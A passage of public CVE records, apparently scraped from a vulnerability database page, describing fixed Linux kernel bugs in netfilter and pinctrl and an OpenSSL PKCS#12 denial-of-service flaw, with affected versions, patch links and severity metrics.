      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: validate user input for expected length\n\nI got multiple syzbot reports showing old bugs exposed\nby BPF after commit 20f2505fb436 (\"bpf: Try to avoid kzalloc\nin cgroup/{s,g}etsockopt\")\n\nsetsockopt() @optlen argument should be taken into account\nbefore copying data.\n\n BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline]\n BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline]\n BUG: KASAN: slab-out-of-bounds in do_replace net/ipv4/netfilter/ip_tables.c:1111 [inline]\n BUG: KASAN: slab-out-of-bounds in do_ipt_set_ctl+0x902/0x3dd0 net/ipv4/netfilter/ip_tables.c:1627\nRead of size 96 at addr ffff88802cd73da0 by task syz-executor.4/7238\n\nCPU: 1 PID: 7238 Comm: syz-executor.4 Not tainted 6.9.0-rc2-next-20240403-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:88 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n  print_address_description mm/kasan/report.c:377 [inline]\n  print_report+0x169/0x550 mm/kasan/report.c:488\n  kasan_report+0x143/0x180 mm/kasan/report.c:601\n  kasan_check_range+0x282/0x290 mm/kasan/generic.c:189\n  __asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105\n  copy_from_sockptr_offset include/linux/sockptr.h:49 [inline]\n  copy_from_sockptr include/linux/sockptr.h:55 [inline]\n  do_replace net/ipv4/netfilter/ip_tables.c:1111 [inline]\n  do_ipt_set_ctl+0x902/0x3dd0 net/ipv4/netfilter/ip_tables.c:1627\n  nf_setsockopt+0x295/0x2c0 net/netfilter/nf_sockopt.c:101\n  do_sock_setsockopt+0x3af/0x720 net/socket.c:2311\n  __sys_setsockopt+0x1ae/0x250 net/socket.c:2334\n  __do_sys_setsockopt net/socket.c:2343 [inline]\n  __se_sys_setsockopt net/socket.c:2340 [inline]\n  __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340\n do_syscall_64+0xfb/0x240\n entry_SYSCALL_64_after_hwframe+0x72/0x7a\nRIP: 0033:0x7fd22067dde9\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fd21f9ff0c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036\nRAX: ffffffffffffffda RBX: 00007fd2207abf80 RCX: 00007fd22067dde9\nRDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000003\nRBP: 00007fd2206ca47a R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000020000880 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000000b R14: 00007fd2207abf80 R15: 00007ffd2d0170d8\n \u003c/TASK\u003e\n\nAllocated by task 7238:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  poison_kmalloc_redzone mm/kasan/common.c:370 [inline]\n  __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:387\n  kasan_kmalloc include/linux/kasan.h:211 [inline]\n  __do_kmalloc_node mm/slub.c:4069 [inline]\n  __kmalloc_noprof+0x200/0x410 mm/slub.c:4082\n  kmalloc_noprof include/linux/slab.h:664 [inline]\n  __cgroup_bpf_run_filter_setsockopt+0xd47/0x1050 kernel/bpf/cgroup.c:1869\n  do_sock_setsockopt+0x6b4/0x720 net/socket.c:2293\n  __sys_setsockopt+0x1ae/0x250 net/socket.c:2334\n  __do_sys_setsockopt net/socket.c:2343 [inline]\n  __se_sys_setsockopt net/socket.c:2340 [inline]\n  __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340\n do_syscall_64+0xfb/0x240\n entry_SYSCALL_64_after_hwframe+0x72/0x7a\n\nThe buggy address belongs to the object at ffff88802cd73da0\n which belongs to the cache kmalloc-8 of size 8\nThe buggy address is located 0 bytes inside of\n allocated 1-byte region [ffff88802cd73da0, ffff88802cd73da1)\n\nThe buggy address belongs to the physical page:\npage: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88802cd73020 pfn:0x2cd73\nflags: 0xfff80000000000(node=0|zone=1|lastcpupid=0xfff)\npage_type: 0xffffefff(slab)\nraw: 00fff80000000000 ffff888015041280 dead000000000100 dead000000000122\nraw: ffff88802cd73020 000000008080007f 00000001ffffefff 00\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:20.870Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0f038242b77ddfc505bf4163d4904c1abd2e74d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/440e948cf0eff32cfe322dcbca3f2525354b159b"
        },
        {
          "url": "https://git.kernel.org/stable/c/18aae2cb87e5faa9c5bd865260ceadac60d5a6c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525"
        },
        {
          "url": "https://git.kernel.org/stable/c/58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c83842df40f86e529db6842231154772c20edcc"
        }
      ],
      "title": "netfilter: validate user input for expected length",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35896",
    "datePublished": "2024-05-19T08:34:51.034Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:31.965Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42090 (GCVE-0-2024-42090)

Vulnerability from cvelistv5 – Published: 2024-07-29 16:26 – Updated: 2026-05-12 11:56

Title

pinctrl: fix deadlock in create_pinctrl() when handling -EPROBE_DEFER

Summary

In the Linux kernel, the following vulnerability has been resolved: pinctrl: fix deadlock in create_pinctrl() when handling -EPROBE_DEFER In create_pinctrl(), pinctrl_maps_mutex is acquired before calling add_setting(). If add_setting() returns -EPROBE_DEFER, create_pinctrl() calls pinctrl_free(). However, pinctrl_free() attempts to acquire pinctrl_maps_mutex, which is already held by create_pinctrl(), leading to a potential deadlock. This patch resolves the issue by releasing pinctrl_maps_mutex before calling pinctrl_free(), preventing the deadlock. This bug was discovered and resolved using Coverity Static Analysis Security Testing (SAST) by Synopsys, Inc.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e65a0dc2e85efb28e…
https://git.kernel.org/stable/c/420ce1261907e5dbe…
https://git.kernel.org/stable/c/b813e3fd102a959c5…
https://git.kernel.org/stable/c/01fe2f885f7813f8a…
https://git.kernel.org/stable/c/b36efd2e3e22a3294…
https://git.kernel.org/stable/c/4038c57bf61631219…
https://git.kernel.org/stable/c/48a7a7c9571c3e62f…
https://git.kernel.org/stable/c/adec57ff8e66aee63…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < e65a0dc2e85efb28e182aca50218e8a056d0ce04 (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < 420ce1261907e5dbeda1e4daffd5b6c76f8188c0 (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < b813e3fd102a959c5b208ed68afe27e0137a561b (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < 01fe2f885f7813f8aed5d3704b384a97b1116a9e (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < b36efd2e3e22a329444b6b24fa48df6d20ae66e6 (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < 4038c57bf61631219b31f1bd6e92106ec7f084dc (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < 48a7a7c9571c3e62f17012dd7f2063e926179ddd (git) Affected: 42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7 , < adec57ff8e66aee632f3dd1f93787c13d112b7a1 (git)
Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:23.115Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e65a0dc2e85efb28e182aca50218e8a056d0ce04"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/420ce1261907e5dbeda1e4daffd5b6c76f8188c0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b813e3fd102a959c5b208ed68afe27e0137a561b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/01fe2f885f7813f8aed5d3704b384a97b1116a9e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b36efd2e3e22a329444b6b24fa48df6d20ae66e6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4038c57bf61631219b31f1bd6e92106ec7f084dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/48a7a7c9571c3e62f17012dd7f2063e926179ddd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/adec57ff8e66aee632f3dd1f93787c13d112b7a1"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42090",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:18:41.131591Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:01.081Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:25.031Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e65a0dc2e85efb28e182aca50218e8a056d0ce04",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "420ce1261907e5dbeda1e4daffd5b6c76f8188c0",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "b813e3fd102a959c5b208ed68afe27e0137a561b",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "01fe2f885f7813f8aed5d3704b384a97b1116a9e",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "b36efd2e3e22a329444b6b24fa48df6d20ae66e6",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "4038c57bf61631219b31f1bd6e92106ec7f084dc",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "48a7a7c9571c3e62f17012dd7f2063e926179ddd",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            },
            {
              "lessThan": "adec57ff8e66aee632f3dd1f93787c13d112b7a1",
              "status": "affected",
              "version": "42fed7ba44e4e8c1fb27b28ad14490cb1daff3c7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: fix deadlock in create_pinctrl() when handling -EPROBE_DEFER\n\nIn create_pinctrl(), pinctrl_maps_mutex is acquired before calling\nadd_setting(). If add_setting() returns -EPROBE_DEFER, create_pinctrl()\ncalls pinctrl_free(). However, pinctrl_free() attempts to acquire\npinctrl_maps_mutex, which is already held by create_pinctrl(), leading to\na potential deadlock.\n\nThis patch resolves the issue by releasing pinctrl_maps_mutex before\ncalling pinctrl_free(), preventing the deadlock.\n\nThis bug was discovered and resolved using Coverity Static Analysis\nSecurity Testing (SAST) by Synopsys, Inc."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:48.168Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e65a0dc2e85efb28e182aca50218e8a056d0ce04"
        },
        {
          "url": "https://git.kernel.org/stable/c/420ce1261907e5dbeda1e4daffd5b6c76f8188c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/b813e3fd102a959c5b208ed68afe27e0137a561b"
        },
        {
          "url": "https://git.kernel.org/stable/c/01fe2f885f7813f8aed5d3704b384a97b1116a9e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b36efd2e3e22a329444b6b24fa48df6d20ae66e6"
        },
        {
          "url": "https://git.kernel.org/stable/c/4038c57bf61631219b31f1bd6e92106ec7f084dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/48a7a7c9571c3e62f17012dd7f2063e926179ddd"
        },
        {
          "url": "https://git.kernel.org/stable/c/adec57ff8e66aee632f3dd1f93787c13d112b7a1"
        }
      ],
      "title": "pinctrl: fix deadlock in create_pinctrl() when handling -EPROBE_DEFER",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42090",
    "datePublished": "2024-07-29T16:26:30.139Z",
    "dateReserved": "2024-07-29T15:50:41.172Z",
    "dateUpdated": "2026-05-12T11:56:25.031Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-22795 (GCVE-0-2026-22795)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

Missing ASN1_TYPE validation in PKCS#12 parsing

Summary

Issue summary: An invalid or NULL pointer dereference can happen in an application processing a malformed PKCS#12 file. Impact summary: An application processing a malformed PKCS#12 file can be caused to dereference an invalid or NULL pointer on memory read, resulting in a Denial of Service. A type confusion vulnerability exists in PKCS#12 parsing code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid pointer read. The location is constrained to a 1-byte address space, meaning any attempted pointer manipulation can only target addresses between 0x00 and 0xFF. This range corresponds to the zero page, which is unmapped on most modern operating systems and will reliably result in a crash, leading only to a Denial of Service. Exploiting this issue also requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For these reasons, the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/ef2fb66…	patch
https://github.com/openssl/openssl/commit/2502e7b…	patch
https://github.com/openssl/openssl/commit/7bbca05…	patch
https://github.com/openssl/openssl/commit/eeee3cb…	patch
https://github.com/openssl/openssl/commit/572844b…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom)

Date Public ?

2026-01-27 14:00

Credits

Luigino Camastra (Aisle Research) Bob Beck

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-22795",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-28T20:03:18.604129Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-29T18:13:37.371Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:53.938Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Luigino Camastra (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Bob Beck"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: An invalid or NULL pointer dereference can happen in\u003cbr\u003ean application processing a malformed PKCS#12 file.\u003cbr\u003e\u003cbr\u003eImpact summary: An application processing a malformed PKCS#12 file can be\u003cbr\u003ecaused to dereference an invalid or NULL pointer on memory read, resulting\u003cbr\u003ein a Denial of Service.\u003cbr\u003e\u003cbr\u003eA type confusion vulnerability exists in PKCS#12 parsing code where\u003cbr\u003ean ASN1_TYPE union member is accessed without first validating the type,\u003cbr\u003ecausing an invalid pointer read.\u003cbr\u003e\u003cbr\u003eThe location is constrained to a 1-byte address space, meaning any\u003cbr\u003eattempted pointer manipulation can only target addresses between 0x00 and 0xFF.\u003cbr\u003eThis range corresponds to the zero page, which is unmapped on most modern\u003cbr\u003eoperating systems and will reliably result in a crash, leading only to a\u003cbr\u003eDenial of Service. Exploiting this issue also requires a user or application\u003cbr\u003eto process a maliciously crafted PKCS#12 file. It is uncommon to accept\u003cbr\u003euntrusted PKCS#12 files in applications as they are usually used to store\u003cbr\u003eprivate keys which are trusted by definition. For these reasons, the issue\u003cbr\u003ewas assessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the PKCS12 implementation is outside the OpenSSL FIPS module boundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue."
            }
          ],
          "value": "Issue summary: An invalid or NULL pointer dereference can happen in\nan application processing a malformed PKCS#12 file.\n\nImpact summary: An application processing a malformed PKCS#12 file can be\ncaused to dereference an invalid or NULL pointer on memory read, resulting\nin a Denial of Service.\n\nA type confusion vulnerability exists in PKCS#12 parsing code where\nan ASN1_TYPE union member is accessed without first validating the type,\ncausing an invalid pointer read.\n\nThe location is constrained to a 1-byte address space, meaning any\nattempted pointer manipulation can only target addresses between 0x00 and 0xFF.\nThis range corresponds to the zero page, which is unmapped on most modern\noperating systems and will reliably result in a crash, leading only to a\nDenial of Service. Exploiting this issue also requires a user or application\nto process a maliciously crafted PKCS#12 file. It is uncommon to accept\nuntrusted PKCS#12 files in applications as they are usually used to store\nprivate keys which are trusted by definition. For these reasons, the issue\nwas assessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-754",
              "description": "CWE-754 Improper Check for Unusual or Exceptional Conditions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:27.320Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ef2fb66ec571564d64d1c74a12e388a2a54d05d2"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/2502e7b7d4c0cf4f972a881641fe09edc67aeec4"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7bbca05be55b129651d9df4bdb92becc45002c12"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/eeee3cbd4d682095ed431052f00403004596373e"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/572844beca95068394c916626a6d3a490f831a49"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Missing ASN1_TYPE validation in PKCS#12 parsing",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-22795",
    "datePublished": "2026-01-27T16:01:27.320Z",
    "dateReserved": "2026-01-09T18:54:13.570Z",
    "dateUpdated": "2026-05-12T12:08:53.938Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35886 (GCVE-0-2024-35886)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

ipv6: Fix infinite recursion in fib6_dump_done().

Summary

